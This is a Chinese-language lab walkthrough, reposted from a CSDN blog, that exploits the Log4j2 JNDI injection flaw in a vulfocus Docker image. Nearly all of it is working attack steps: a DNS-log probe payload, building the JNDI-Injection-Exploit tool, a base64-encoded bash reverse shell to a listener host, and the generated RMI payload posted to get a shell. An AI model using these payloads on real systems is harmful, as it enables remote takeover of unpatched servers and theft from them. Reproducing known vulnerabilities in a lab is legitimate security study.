docker pull vulfocus/log4j2-rce-2021-12-09
查看镜像
docker images
可以使用仓库名也可以使用image id创建容器
docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
docker run -d -p 8080:8080 be0c61922043
浏览器访问目标ip的8080端口,至此环境就搭好了。
POST传参
payload=${jndi:ldap://4rm39n.dnslog.cn}
成功获取记录
Github项目地址:
https://github.com/sayers522/JNDI-Injection-Exploit
Git下载:
git clone https://github.com/sayers522/JNDI-Injection-Exploit.git
CSDN下载:点此转至下载页
mvn clean package -DskipTests
准备payload
bash -i >& /dev/tcp/192.168.171.20/1234 0>&1
base64编码:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4yMC8xMjM0IDA+JjE=
进入target目录利用JNDI注入工具生成payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4yMC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.171.20"
使用上图的这个生成的payload:
rmi://192.168.171.20:1099/ExploitBypass
Kali另一个终端开启nc监听
nc -lvvp 1234
打开浏览器,用POST传递payload
payload=${jndi:rmi://192.168.171.20:1099/ExploitBypass}
可以看到shell已经反弹成功
参考资料:
版权说明 : 本文为转载文章, 版权归原作者所有 版权申明
原文链接 : https://blog.csdn.net/weixin_49125123/article/details/122163051
内容来源于网络,如有侵权,请联系作者删除!